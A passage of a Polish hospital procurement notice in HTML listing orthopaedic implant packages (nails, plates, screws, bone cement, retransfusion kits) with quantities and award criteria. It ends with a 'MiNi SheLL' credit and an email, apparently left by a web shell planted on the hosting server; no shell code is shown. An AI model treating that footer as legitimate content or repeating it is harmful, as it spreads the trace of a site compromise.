<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Element uzupełnienia stropu panewki, ze stopu tytanu o wysokiej porowatości w rozmiarach od 52mm do 58mm, z zestawem tytanowych śrub samogwintujących o średnicy 6,5mm (3 śruby)	komplet	3
2	Koszyki panewkowe ze stopu tytanu o wysokiej porowatości, grubości ścian 5mm, średnicy zewnętrznej od 54mm do 76mm, z otworami do śrub tytanowych samogwintujących o średnicy 6,5mm z zestawem tych śrub (2 śruby).	komplet	3.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 8 <b>NAZWA:</b> Pakiet nr 8 - Siatki do rekonstrukcji ubytków kostnych.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Metalowa elastyczna siatka do rekonstrukcji ubytków kostnych:
- obrębie trzpienia (prosta lub anatomiczna)
- obrębie stropu (mała, średnia lub duża)
- w obrębie panewki (mała lub duża)


	szt 	6.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 9 <b>NAZWA:</b> Pakiet nr 9 - Implanty do rekonstrukcji więzadła krzyżowego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Śruba biowchłanialna wykonana z kopolimeru kwasu mlekowego i glikolowego, z gwintem na całej długości lub zakończona główką. Gwint półokrągły dla ochrony przeszczepu. Kaniulowane dla drutu nitinolowego 1.5 mm. Dostępne w rozmiarach od 7x20 mm do 12x25 mm. Pakowane pojedynczo, sterylne. Bez barwników, półprzeźroczyste.	szt.	16
2	Drut nitinolowy o średnicy 1,5 mm, długość powyżej 30 cm.	szt.	5.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 10 <b>NAZWA:</b> Pakiet nr 10 - Implanty do szycia łąkotek.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Dwa miękkie implanty wykonane z poliestru, połączone samozaciskającą się podwójną nicią 2 - 0, osadzone na podwójnym, jednorazowym podajniku z dźwigniami	szt.	10.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 11 <b>NAZWA:</b> Pakiet nr 11 - Implanty do rekonstrukcji uszkodzonych struktur stawu barkowego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Śruby kotwicowe do rekonstrukcji obrąbka stawowego barku i stożka rotatorów. Śruby kotwicowe tytanowe, stożkowe osadzone na jednorazowym wprowadzaczu, zakończonym rekojeścią, zaopatrzone w nić o grubości nr 2, średnica zewnętrzna gwintu 3mm, oraz śruby kotwicowe tytanowe, stożkowe osadzone na jednorazowym wprowadzaczu, zakończonym rekojeścią, zaopatrzone w dwie nici o grubości nr 2; nici w dwóch kolorach, poprowadzone w 2 niezależnych oczkach śruby kotwicowej, średnica zewnętrzna gwintu 5mm i 6,5mm.	szt.	30.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 31.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 12 <b>NAZWA:</b> Pakiet nr 12 - Zespolenia zewnętrzne - System Polfix.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Stabilizator mały o rozstawie A 40 mm i długości L 94 mm	szt.	3
2	Stabilizator asymetryczny o rozstawie A 80 mm i o długości L 156 mm	szt.	10
3	Stabilizator asymetryczny o rozstawie A 60 mm i o długości L 136 mm	szt.	5
4	Stabilizator asymetryczny o rozstawie A 40 mm i o długości L 116 mm	szt.	3
5	Stabilizator duży o rozstawie A 80 mm i o długości L 176 mm	szt.	10
6	Stabilizator duży o rozstawie A 40 mm i o długości L 136 mm	szt.	3
7	Stabilizator duży o rozstawie A 60 mm i o długości L 156 mm	szt.	5
8	Płytka łącząca prosta 8,10 otworowa	szt.	2
9	Płytka łącząca wygieta (prawa i lewa) 8,10 otworowa	szt.	4
10	Wkręty do kości korowej samogwintujące o długości 35 mm	szt.	10
11	Wkręty do kości korowej samogwintujące o długości 40 mm	szt.	30
12	Wkręty do kości korowej samogwintujące o długości 45 mm	szt.	50
13	Wkręty do kości korowej samogwintujące o długości 50 mm	szt.	50
14	Wkręty do kości korowej samogwintujące o długości 55 mm	szt.	50
15	Wkręty do kości korowej samogwintujące o długości 60 mm	szt.	50
16	Wkręty do kości korowej samogwintujące o długości 65 mm	szt.	30
17	Wkręty do kości gąbczastej o długości 55 mm	szt.	30
18	Wkręty do kości gąbczastej o długości 60 mm	szt.	30
19	Wkręty do kości gąbczastej o długości 65 mm	szt.	30
20	Wkręty do kości gąbczastej o długości 70 mm	szt.	20
21	Wkręty do kości gąbczastej o długości 75 mm	szt.	20
22	Korek zaślepiajacy M6 x 0,75	szt.	10.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 13 <b>NAZWA:</b> Pakiet nr 13 - Cement kostny oraz próżniowe systemy mieszalników.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Cement kostny średniej lepkości, sterylizowany tlenkiem etylenu, bez konieczności wstępnego schładzania składników cementu. Środek kontrastujący to ZrO2 . Faza manipulacyjna cementu dłuższa i mniej zależna od temperatury w porównaniu z cementami o niskiej lepkości. Pakowany po 2 x 40g.	szt.	35
2	Mieszalniki próżniowe do cementu - zestaw podwójny (tzw.biodrowy), zawierający 2 mieszalniko - strzykawki zaopatrzone w filtr powietrza i  dyszę o 2 długościach (długa i krótka). W zestawie są ponadto: uszczelniacz krętarzowy umożliwiający presuryzację cementu, wąż łączący mieszalnik z wytwornicą  próżni wyposażony w filtr węglowy oraz wskaźnik próżni. Mieszalniki cementu o objętości 2x80g.	szt.	35
3	Zestaw uniwersalny do ciśnieniowego płukania pulsacyjnego, z przeznaczeniem do kolana i biodra bez odsysania, zawierający 2 końcówki: długą kanałową i krótką z osłoną do płukania powierzchni (kłykcie kolana, panewka, otwarta rana operacyjna).	szt.	60.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 14 <b>NAZWA:</b> Pakiet nr 14 - Osteosynteza - implanty chirurgiczne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Wkręty do kości korowe O 4,5 mm (stalowe)   
2. Wkręty do kości gąbczaste O 6,5 mm (stalowe, niepełny gwint)      
3. Wkręty do kości gąbczaste O 6,5 mm (stalowe, pełny gwint)   
4. Wkręty do kości korowe O 3,5 mm (stalowe)   
5. Wkręty do kości korowe O 2,7 mm (stalowe)  
6. Wkręty do kości korowe O 2,0 mm (stalowe)   
7. Wkręty do kości kostkowe samogwintujące O 4,5 mm   trójgraniec
8. Wkręty do kości gąbczaste kaniulowane O 7,0 samogwintujące mm (stalowe), długość gwintu 32 mm   
9. Wkręty kompresyjne (Herberta) samogwintujące, stalowe,kaniulowane, o śr.2,5mm/3,2mm
10. Podkładki stalowe
11. Płytki
12. Gwoździe i druty
13. Stabilizatory biodrowe.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 15 <b>NAZWA:</b> Pakiet nr 15 - Gwoździe śródszpikowe.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Gwóźdź śródszpikowy piszczelowy uniwersalny (kompresyjno - rekonstrukcyjny). Wymagania : L=240-550 mm (ze skokiem co 15 mm) do długości 520 mm pokryty celownikiem dalszym, średnica d=8-15 mm ze skokiem (co 1 mm), w wersji litej (z asymetrycznym końcem) oraz w wersji kaniulowanej. Możliwość kompresji zarówno w części bliższej jak i w części bliższej jak i w części dalszej. W części bliższej co najmniej 5 otworów ( w tym 2 gwintowane obwodowe otwory rekonstrukcyjne oraz 1 dynamiczny) zapewniających opcje blokowania w przynajmniej 3 różnych płaszczyznach. W części dalszej posiadający min. 5 otworów ( w tym co najmniej 1 kompresyjny oraz 4 otwory gwintowane ) zapewniające co najmniej czteropłaszczyznową stabilizacje z bardzo niskimblokowaniem, usytuowanie środka pierwszego otworu dystalnego max 5 mm od końca gwoździa w przypadku gwoździ kaniulowanych i max. 9 mm od końca gwoździa w przypadku gwoździ litych. Trójkątny przekrój poprzeczny gwoździ w części dalszej obejmujący również otwór kompresyjny w części bliższej zapewniający obniżenie ciśnienia śródszpikowego w trakcie implantacji. W otworach rekonstrukcyjnych oraz gwintowanych w części dalszej zapewnia alternatywne zamienne stosowanie rygli o średnicy O 4,5 mm i O 5,0 mm. Kaniulowane śruby zaślepiające pozwalające na wydłużenie części bliższej gwoździ w przynajmniej 6 rozmiarach w zakresie 0-25 mm stopniowane co 5 mm. System wykonany ze stali nierdzewnej, możliwość użycia tytanu/ stopu tytanu. 	klp.	15
2	Gwóźdż śródszpikowy udowy uniwersalny (kompresyjno-rekonstrukcyjno-wsteczny). Wymagania : jeden uniwersalny gwóźdź przeznaczony do leczenia złamań kości udowej (używany przy metodzie kompresyjnej, rekonstrukcyjnej oraz wstecznej) wprowadzany metodą ante i retrogrande. Długość L= 240-600 mm (ze skokiem co 20 mm) do długości 520 mm pokryty celownikiem dalszym, średnica d= 8-16 mm ze skokiem (co 1 mm) w wersji litej i w wersji kaniulowanej, lewy i prawy. W części dalszej posiadający min. 4 otwory w co najmniej w 2 płaszczyznach (w tym co najmniej 1 dynamiczny), z niskim blokowaniem, usytuowanie środka pierwszego otworu dystalnego max. 5 mm od końca gwoździa dla gwoździi kaniulowanych i 9 mm od końca gwoździa dla gwoździ litych. W części bliższej posiadający min. 6 otworów w tym: 2 rekonstrukcyjne, 2 do blokowania wstecznego i 2 do blokowania statycznego i kompresyjnego. Przy metodzie rekonstrukcyjnej blokowany w części bliższej 2 ryglami samowiercącymi o średnicy O 6,5 mm. Przy metodzie kompresyjnej blokowany w części bliższej w zależności od typu złamania ryglami o średnicy O 4,5 mm oraz dodatkowo ryglami O 6,5 mm. Przy metodzie wstecznej blokowany w części bliższej w zależności od typu złamania 2 ryglami lub zestawem blokującym o średnicy O 6,5 mm. Zapewnia zastosowanie 2 dodatkowych rygli o średnicy O 4,5 mm przy wieloodłamowych złamaniach. W części dalszej blokowany ryglami o średnicy O 4,5 mm. Kaniulowane śruby zaślepiające pozwalających na wydłużenie części bliższej gwoździa w przynajmniej 6 rozmiarach w zakresie 0-25 mm stopniowane co 5 mm. System wykonany ze stali nierdzewnej, możliwość użycia tytanu/stopu tytanu.	kpl.	10
3	Gwóźdź śródszpikowy krętarzowy. Wymagania: krótki-długość L=200-280 mm (ze skokiem co 20mm) z przedłużonym trzpieniem z 6 stopniową antetrosją, pokryty celownikiem, średnica d=9-15mm ze skokiem (co 1mm), kąt szyjkowo-trzonowy (125°, 130° oraz 135°) , wersja kaniulowana, uniwersalny do kości lewej i prawej.Blokowany w części bliższej śrubą zespalającą o średnicy 11mm wraz ze śrubą kompresyjną, a w części dalszej wkrętami blokującymi o średnicy 4,5mm.W części dalszej posiadający co najmniej 1 otwór dynamiczny oraz 1 statyczny gwintowany. Możliwość opcjonalnego blokowania w części bliższej przy pomocy dodatkowego pina antyrotacyjnego o średnicy 6,5mm. Długi-długość L=430-600mm (ze skokiem co 20mm) z 6 stopniową antetorsją, do długości 520mm pokryty celownikiem dalszym, średnica d=9-15mm ze skokiem (co 1mm), kąt szyjkowo-trzonowy (125°, 130° oraz 135°), wersja kaniulowana, lewa i prawa. Blokowany w części bliższej śrubą zespalającą o średnicy 11mm wraz ze śrubą kompresyjną, a w części dalszej wkrętami blokującymi o średnicy 4,5 lub 5,0. W części dalszej posiadający co najmiej 1 otwór dynamiczny oraz 2 otwory statyczne gwintowane. Możliwość opcjonalnego blokowania w części bliższej przy pomocy dodatkowego pina antyrotacyjnego 6,5mm. System wykonany ze stali nierdzewnej, możliwość użycia tytanu/stopu tytanu.
	kpl.	4
4	Gwóźdż śródszpikowy ramienny kompresyjny. Wymagania: długość L=180-400mm (ze skokiem co 20mm) do długości 330mm pokryty celownikiem, średnica 6-13mm ze skokiem (co 1mm) w wersji litej z asymetrycznym końcem i średnica d=8-13mm ze skokiem (co 1mm) w wersji kaniulowanej. Średnica części bliższej gwoździa dla średnicy d=6-8mm nie może być większa niż 9mm. Gwóźdź wraz z celownikiem ma zapewnić blokowanie w części bliższej zarówno przy standardowym kompresyjnym blokowaniu jak i skośnym kątowym wprowadzeniu wkręta blokującego w otwór kompresyjny zarówno z góry jak i z dołu z zachowaniem kompresji. W części dalszej min. 4 otwory ryglujące zapewniające co najmniej dwupłaszczyznową stabilizację (AP i strzałkowej) , z bardzo niskim blokowaniem, usytuowanie środka pierwszego otworu dystalnego max. 5mm od końca gwoździa w przypadku gwoździ kaniulowanych i max. 9mm od końca gwoździa w przypadku gwoździ litych. Owalny kształt gwoździa w części bliższej ułatwiający wprowadzenie metodą retrograde. Kaniulowane śruby zaślepiające pozwalające na wydłużenie części bliższej gwoździa w co najmniej 6 rozmiarach w zakresie 0-25mm stopniowane co 5mm. Jeden wspólny celownik do gwoździ ramiennych zarówno rekonstrukcyjnych jak i konstrukcyjnych. System wykonany ze stali nierdzewnej, możliwość użycia tytanu/stopu tytanu.	kpl.	5
5	Gwóźdź śródszpikowy ramienny rekonstrukcyjny. Wymagania: anatomiczny, jeden uniwersalny lewy i prawy w wersji krótkiej i długiej.Długość L=150-400mm (ze skokiem co 20mm) do długości 330mm pokrytycelownikiem, średnica d=6-13mm ze skokiem (co 1mm) w wersji litej oraz średnica d=8-13mm ze skokiem (co 1mm) w wersji kaniulowanej. Średnica części bliższej gwoździa dla średnicy d=8-10mm nie może być większa niż 10mm. W części dalszej w wersji krótkiej posiadający 2 otwory (wtym 1 dynamiczny) oraz w wersji długiej posiadający min.4 otwory ryglujące zapewniające co najmniej dwupłaszczyznową stabilizację (AP i strzałkowej), z bardzo niskimblokowaniem, usytuowanie środka pierwszego otworu dystalnego max.5mm od końca gwoździa w przypadku gwoździ kaniulowanych i max.9mm od końca gwoździa w przypadku gwoździ litych. W części bliższej 4 gwintowane otwory na wkręty blokujące zapewniające wielopłaszczyznową stabilizację. W otworach rekonstrukcyjnych zapewnia alternatywne zamienne stosowanie zarówno rygli o średnicy O 4,5 i O 5,0. Kaniulowane śruby zaślepiające pozwalające na wydłużenie części bliższej gwoździa w przynajmniej 6 rozmiarach w zakresie 0-25mm stopniowane co 5mm. Jeden wspólny celownik do gwoździ ramiennych zarówno rekonstrukcyjnych jak i kompresyjnych. System wykonany ze stali nierdzewnej, możliwość użycia tytanu/stopu tytanu.	kpl.	3
6	Gwóźdż śródszpikowy do kości przedramienia i strzałkowej. Wymagania: długość L=160-400mm (ze skokiem co 20mm), średnica d=3-6mm (przynajmniej 4 różne średnice w zadanym przedziale) w wersji litej. System wykonany ze stali nierdzewnej, możliwość użycia tytanu/stopu tytanu.	kpl.	2.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 16 <b>NAZWA:</b> Pakiet nr 16 - Systemy płytek blokowanych.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	System 4,5 płytek blokowanych
Płytka do dalszej nasady kości promieniowej blokowana, dłoniowa, wąska i szeroka, tytanowa, prawa i lewa, w części trzonowej 3-5 par otworów - blokowany i kompresyjny. Szerokość części nasadowej 21mm i 27mm. W części nasadowej 5 lub 7 otworów blokowanych o wielokierunkowym, ustalonym kątowo, ustawieniu. Otwory blokowane posiadające oporową część stożkową oraz gwintowaną walcową. Gwint na pełnym obwodzie otworu zapewniający pewną stabilizację. Nie wymagające zaślepek/przejściówek do wkrętów blokowanych. Otwory kompresyjne z dwukierunkową kompresją. Wydłużony otwór do pozycjonowania płyt. Posiadająca przynajmniej 5 otw. Pod druty Kirschnera 1,0mm do tymczasowego ustalenia płytki. Do otworów blokowanych wkręty 2,4mm oraz 2,7mm. Samogwintujące, łeb wkręta z oporową częścią stożkową oraz gwintowaną walcową. Do otworów kompresyjnych wkręty korowe 2,7 z łbem kulistym. Wszystkie wkręty z gniazdami sześciokarbowymi. Część trzonowa z podcięciami w celu ograniczenia kontaktu implantu z kością. Ta sama barwa płytek i wkrętów blokowanych ułatwiająca identyfikację i dobór implantów. Tytan.	szt.	5
2	System 5,0 płytek blokowanych
Płytka wąska, prosta, blokowana kompresyjna z ograniczonym kontaktem. 4 do 18 par otworów - blokowanego i kompresyjnego. Ustalone kątowo ustawienie wkręyów. Otwory blokowane posiadające oporową część stożkową oraz gwintowaną walcową. Gwint na pełnym obwodzie otworu zapewniający pewną stabilizację. Nie wymagające zaślepek/przejściówek do wkrętów blokowanych. Otwory kompresyjne z dwukierunkową kompresją. Posiadająca przynajmniej 3 otwory pod druty Kirschnera 2,0mm do tymczasowego ustalenia płytki. Do otworów blokowanych wkręty blokowane 3,5mm samogwintujące, łeb wkręta z oporową częścią stożkową oraz gwintowaną walcową. Dootworów kompresyjnych wkręty korowe 3,5 z łbem kulistym. Zakończenie części trzonowej płytki odpowiednio wyprofilowane do wprowadzenia płytki metodą minimalnego cięcia. Część trzonowa z podcięciami w celu ograniczenia kontaktu implantu z kością.Ta sama barwa płytek i wkrętów blokowanych ułatwiająca identyfikację i dobór implantów. Tytan.	szt.	5
3	System 5,0 płytek blokowanych
Płytka kształtowana blokowana do bliższej nasady kości ramiennej. W części trzonowej 3 do 10 par otworów - blokowanego i kompresyjnego. W części nasadowej 9 otworów blokowanych o wielokierunkowym ustawieniu w celu pewnej stabilizacji odłamów blokowanych. Ustalone kątowo ustawienie wkrętów. Otwory blokowane posiadające oporową część stożkową oraz gwintowaną walcową. Gwint na pełnym obwodzie otworu zapewniający pewną stabilizację. Nie wymagające zaślepek/przejściówek do wkrętów blokowanych. Otwory kompresyjne z dwukierunkową kompresją. Wydłużony otwór do pozycjonowania płyty. Posiadająca 9 otworów pod druty Kirschnera 2,0mm do tymczasowego ustalenia płytki, przy czym bliższe 8 otworów z podcięciami umożliwiającymi wiązanie nici po wykonaniu zespolenia. Do otworów blokowanych wkręty blokowane 3,5mm, samogwintujące, łeb wkręta z oporową częścią stożkową oraz gwintowaną walcową. Do otworów kompresyjnych wkręty korowe 3,5 z łbem kulistym. Zakończenie części trzonowej płytki odpowiednio wyprofilowane do wprowadzenia płytki metodą minimalnego cięcia. Część trzonowa z podcięciami w celu ograniczenia kontaktu implantu z kością. Ta sama barwa płytek i wkrętów blokowanych ułatwiająca identyfikację i dobór implantów. Tytan.	szt.	5.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 17 <b>NAZWA:</b> Pakiet nr 17 - Osteotomia implanty chirurgiczne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Płyta dystansowa klinowa pozwalająca na wykonanie osteotomii korekcyjnej kości piszczelowej. Blokowana przy pomocy 4 wkrętów o średnicy 4,5mm lub 6,5mm. Przynajmniej 10 różnych rozmiarów klina w przedziale 3-17,5mm.	szt.	6.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 18 <b>NAZWA:</b> Pakiet nr 18 - Grawitacyjny system separacji płytek - GPS.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Grawitacyjny system separacji koncentratu leukocytarno-płytkowego(czynnik wzrostu) oraz urządzenie do produkcji autologicznej trombiny. System umożliwia wyprodukowanie koncentratu płytek krwi - preparatu potrzebnego podczas terapii czynnikami wzrostu - zawiesiny o bardzo wysokiej koncentracji płytek krwi.
1	Zestaw pojedynczy - z  54ml krwi system produkuje nie mniej niż 6ml koncentratu leukocytarno-płytkowego, oraz z 11ml krwi zestaw umożliwia wyprodukowanie 5ml trombiny autologicznej	szt.	6
2	Zestaw podwójny - z  108ml krwi system produkuje nie mniej niż 12ml koncentratu leukocytarno-płytkowego, oraz z 11ml krwi zestaw umożliwia wyprodukowanie 5ml trombiny autologicznej	szt.	3.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 19 <b>NAZWA:</b> Pakiet nr 19 - Cement kostny oraz próżniowe systemy mieszalników.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Cement kostny średniej lepkości, sterylizowany tlenkiem etylenu, bez konieczności wstępnego schładzania składników cementu. Środek kontrastujący to ZrO2 . Faza manipulacyjna cementu dłuższa i mniej zależna od temperatury w porównaniu z cementami o niskiej lepkości. Pakowany po 1 x 40g.	szt.	70
2	Cement kostny średniej lepkości z kopolimerem metylakrylatem MA, dodatkiem gentamycyny,  sterylizowany tlenkiem etylenu. Zawartość substancji aktywnej nie powinna przekraczać 1,5% substancji sproszkowanej. Oba komponenty są barwione. Pakowany po 1 x 40g.	szt.	20
3	Cement kostny z dwoma aktywnymi antybiotykami, wysokiej lepkości z dodatkiem gentamycyny i klindamycyny,  sterylizowany tlenkiem etylenu. Pakowany po 1 x 40g.	szt.	5
4	Mieszalnik próżniowy do cementu - zestaw pojedyńczy (tzw.kolanowy), zawierający 1 mieszalniko - strzykawki zaopatrzoną w filtr powietrza i  dyszę o 2 długościach (długa i krótka). W zestawie są ponadto: uszczelniacz umożliwiający presuryzację cementu, wąż łączący mieszalnik z wytwornicą  próżni wyposażony w filtr węglowy oraz wskaźnik próżni. Mieszalnik o objętości 1x80g.	szt.	70.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 20 <b>NAZWA:</b> Pakiet nr 20 - System do autologicznej retransfuzji krwi.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Zintegrowany, zamknięty (próżniowy) system jednorazowego użycia do odzyskiwania krwi z pooperacyjnego drenażu ran, gromadzenia krwi, jej filtrowania i ponownego przetoczenia choremu. System składa się ze sztywnego zbiornika na krew o poj. 800ml z wbudowaną pompą próżniową, zasilaną dwoma akumulatorami 1,5V, zapewniającą stałe podciśnienie podczas drenażu w trzech zakresach: 25mmHg, 50mmHg i powyżej 100mmHg; odpowiednich drenów i filtrów oraz worka na krew do retransfuzji dożylnej zwrotnej.	szt.	12.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 21 <b>NAZWA:</b> Pakiet nr 21 - Zestaw do szycia zerwanych ścięgien.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Zestaw do szycia zerwanych ścięgien, stal nierdzewna, niepowlekana, skręcana:                                                           -1 igła prosta tnąca 40mm, połączona z igłą 1/2 koła odwrotnie tnąca 18mm,                                                               -2 nitki długości 40cm, grubości 3/0,                                        -1 perforowany silikonowy krążek,                                            -2 perforowane metalowe krążki	op	1.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com